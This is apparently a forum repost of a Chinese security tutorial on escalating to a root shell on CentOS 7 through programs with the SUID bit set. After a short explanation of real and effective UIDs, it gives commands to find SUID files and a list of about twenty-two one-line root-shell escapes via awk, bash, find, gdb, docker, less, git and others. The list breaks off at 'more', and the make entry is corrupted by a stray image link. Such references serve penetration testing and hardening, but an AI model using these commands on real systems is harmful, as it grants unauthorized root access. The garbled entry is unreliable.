搜索

[15690] 2020-08-04_安全研究CentOS7系统利用suid提权获取RootShell

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-08-04_安全研究CentOS7系统利用suid提权获取RootShell 安 全 研 究   |   C e n t O S   7 系 统 利 用 s u i d 提 权 获 取 R o o t   S h e l l r e g i t n e w   F r e e B u f   2 0 2 0 - 0 8 - 0 4 一 、 一 、 操 作 目 的 和 应 用 场 景 操 作 目 的 和 应 用 场 景 本 文 档 介 绍 在 C e n t O S   7 系 统 中 利 用 带 有 s u i d 权 限 的 程 序 提 权 从 而 获 取 r o o t   s h e l l 的 方 法 。 首 先 简 单 介 绍 s u i d 的 概 念 ： L i n u x 进 程 在 运 行 的 时 候 有 以 下 三 个 U I D ： R e a l   U I D ： 执 行 该 进 程 的 用 户 的 U I D 。 R e a l   U I D 只 用 于 标 识 用 户 ， 不 用 于 权 限 检 查 。 E f f e c t i v e   U I D （ E U I D ） ： 进 程 执 行 时 生 效 的 U I D 。 在 对 访 问 目 标 进 行 操 作 时 ， 系 统 会 检 查 E U I D 是 否 有 权 限 。 一 般 情 况 下 ， R e a l   U I D 与 E U I D 相 同 ， 但 在 运 行 设 置 了 S U I D 权 限 的 程 序 时 ， 进 程 的 E U I D 会 被 设 置 为 程 序 文 件 属 主 的 U I D 。 S a v e d   U I D ： 在 高 权 限 用 户 降 权 后 ， 保 留 的 U I D 。 进 程 的 G I D 与 U I D 情 况 类 似 。 C e n t O S 系 统 中 存 在 可 执 行 程 序 / b i n / c a t ， 属 主 属 组 均 为 r o o t ， 任 何 用 户 对 其 都 拥 有 执 行 权 限 。 另 外 存 在 系 统 文 件 / e t c / s h a d o w ， 属 主 属 组 也 都 是 r o o t ， 不 提 供 任 何 访 问 权 限 。 假 设 系 统 中 存 在 一 个 普 通 用 户 ， 名 为 u s e r 1 ， U I D 和 G I D 都 是 1 0 0 0 。 该 用 户 对 / b i n / c a t 具 有 执 行 权 限 ， 对 / e t c / s h a d o w 不 具 有 任 何 权 限 。 默 认 情 况 下 ， u s e r 1 执 行 / b i n / c a t ， 系 统 会 创 建 一 个 c a t 进 程 ， 进 程 的 R e a l   U I D 和 E f f e c t i v e   U I D 相 同 ， 都 是 运 行 该 进 程 的 u s e r 1 用 户 的 U I D （ 1 0 0 0 ） 。 c a t 进 程 访 问 / e t c / s h a d o w ， 由 于 进 程 的 E U I D 不 具 备 任 何 访 问 权 限 ， 所 以 系 统 会 拒 绝 其 访 问 目 标 。 为 / b i n / c a t 设 置 S U I D 权 限 之 后 ， u s e r 1 创 建 的 c a t 进 程 的 E f f e c t i v e   U I D 自 动 被 设 置 为 / b i n / c a t 文 件 的 属 主 的 U I D 值 ， 也 就 是 r o o t 的 U I D ： 0 。 这 样 该 进 程 访 问 / e t c / s h a d o w 时 ， 虽 然 目 标 文 件 拒 绝 任 何 人 访 问 ， 但 是 由 于 进 程 的 E f f e c t i v e   U I D 为 0 ， 具 备 超 级 用 户 权 限 ， 可 以 访 问 任 意 文 件 ， 所 以 就 可 以 显 示 s h a d o w 文 件 的 内 容 了 。 如 果 某 个 设 置 了 s u i d 权 限 的 程 序 运 行 后 创 建 了 s h e l l ， 那 么 s h e l l 进 程 的 E U I D 也 会 是 这 个 程 序 文 件 属 主 的 U I D ， 也 就 是 说 ， 这 是 一 个 r o o t   s h e l l 。 r o o t   s h e l l 中 运 行 的 程 序 的 E U I D 也 都 是 0 ， 具 备 超 级 权 限 。 为 可 执 行 文 件 添 加 s u i d 权 限 的 目 的 是 简 化 操 作 流 程 ， 让 普 通 用 户 也 能 做 一 些 高 权 限 才 能 做 的 的 工 作 。 但 是 如 果 S U I D 配 置 不 当 ， 则 很 容 易 造 成 提 权 。 二 、 二 、 平 台 及 工 具 版 本 平 台 及 工 具 版 本 虚 拟 机 ： C e n t O S   L i n u x   r e l e a s e   7 . 8 . 2 0 0 3   ( C o r e ) 三 、 三 、 操 作 步 骤 操 作 步 骤 （ 一 ） （ 一 ） s u i d / s g i d 权 限 设 置 权 限 设 置
c h m o d   u + s   p r o g 1     / / 设 置 p r o g 1 的 s u i d 权 限 c h m o d   g + s   p r o g 2     / / 设 置 p r o g 2 的 s g i d 权 限 （ 二 ） （ 二 ） 查 找 带 有 查 找 带 有 s u i d / s g i d 权 限 的 文 件 权 限 的 文 件 f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l     / / 查 找 s u i d 文 件 f i n d   /   - p e r m   - g = s   - t y p e   f   2 > / d e v / n u l l     / / 查 找 s g i d 文 件 现 在 我 们 假 设 ， 后 面 介 绍 的 用 于 提 权 的 程 序 文 件 都 被 r o o t 用 户 设 置 了 s u i d 权 限 ， 我 们 搜 索 到 这 些 文 件 后 开 始 提 权 。 （ 三 ） （ 三 ） 提 权 提 权 1 、 、 a w k 输 入 下 面 的 命 令 进 行 提 权 ： a w k   ‘ B E G I N   { s y s t e m ( “ / b i n / b a s h   - p ” ) } ’ 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 2 、 、 b a s h 输 入 下 面 的 命 令 进 行 提 权 ： b a s h   - p 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 3 、 、 c s h 输 入 下 面 的 命 令 进 行 提 权 ： c s h   - b 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。
4 、 、 d m e s g 输 入 下 面 的 命 令 进 行 提 权 ： d m e s g   - H ! / b i n / s h   - p 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 5 、 、 d o c k e r 输 入 下 面 的 命 令 进 行 提 权 ： d o c k e r   r u n   - v   / : / m n t   — r m   - i t   a l p i n e   c h r o o t   / m n t   s h 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 6 、 、 e d 输 入 下 面 的 命 令 进 行 提 权 ： e d ! / b i n / s h   - p
提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 7 、 、 e n v 输 入 下 面 的 命 令 进 行 提 权 ： e n v   / b i n / s h   - p 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 8 、 、 e x p e c t 输 入 下 面 的 命 令 进 行 提 权 ： e x p e c t   - c   ‘ s p a w n   / b i n / s h   - p ; i n t e r a c t ’ 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 9 、 、 f i n d 输 入 下 面 的 命 令 进 行 提 权 ： f i n d   .   - e x e c   / b i n / s h   - p   ;   - q u i t
提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 0 、 、 f l o c k 输 入 下 面 的 命 令 进 行 提 权 ： f l o c k   - u   /   / b i n / s h   - p 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 1 、 、 f t p 输 入 下 面 的 命 令 进 行 提 权 ： f t p ! / b i n / s h   - p 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 2 、 、 g d b 输 入 下 面 的 命 令 进 行 提 权 ： g d b   - n x   - e x   ‘ p y t h o n   i m p o r t   o s ;   o s . e x e c l ( “ / b i n / s h ” ,   “ s h ” ,   “ - p ” ) ’   - e x   q u i t
提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 3 、 、 g i m p 输 入 下 面 的 命 令 进 行 提 权 ： g i m p   - i d f   — b a t c h - i n t e r p r e t e r = p y t h o n - f u - e v a l   - b   ‘ i m p o r t   o s ;   o s . e x e c l ( “ / b i n / s h ” ,   “ s h ” ,   “ - p ” ) ’ 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 4 、 、 g i t 输 入 下 面 的 命 令 进 行 提 权 ： g i t   h e l p   s t a t u s     / / 在 底 行 输 入 “ ! / b i n / s h   - p ”
回 车 后 得 到 s h e l l ： 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 5 、 、   i o n i c e 输 入 下 面 的 命 令 进 行 提 权 ： i o n i c e   / b i n / s h   - p 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 6 、 、 i p 输 入 下 面 的 命 令 进 行 提 权 ： i p   n e t n s   a d d   f o o i p   n e t n s   e x e c   f o o   / b i n / s h   - p
i p   n e t n s   d e l e t e   f o o 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 7 、 、   k s h 输 入 下 面 的 命 令 进 行 提 权 ： k s h   - p 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 8 、 、 l e s s 输 入 下 面 的 命 令 进 行 提 权 ： l e s s   / e t c / p r o f i l e     / / 读 取 文 件 ， 在 底 行 输 入 ! / b i n / s h   - p
回 车 后 进 入 新 的 s h e l l 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 1 9 、 、 l o g s a v e 输 入 下 面 的 命 令 进 行 提 权 ： l o g s a v e   / d e v / n u l l   / b i n / s h   - i   - p 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 2 0 、 、 m a k e 输 入 下 面 的 命 令 进 行 提 权 ： C O M M A N D = ’ / b i n / s h   - p ’
m a k e   - s   — e v a l = < i m g   s r c = " h t t p s : / / c h a r t . g o o g l e a p i s . c o m / c h a r t ? c h t = t x & c h l = ' x % 3 A % 5 C n % 5 C t - ' % 2 2 "   a l t = " ' x : n t - ' " " = " " > C O M M A N D ” 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 2 1 、 、 m a n m a n   m a n     / / 在 底 行 输 入 ” ! / b i n / s h   - p ” 回 车 后 得 到 s h e l l ： 提 权 成 功 ， 得 到 了 r o o t   s h e l l 。 2 2 、 、 m o r e 输 入 下 面 的 命 令 进 行 提 权 ： m o r e   / e t c / p r o f i l e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理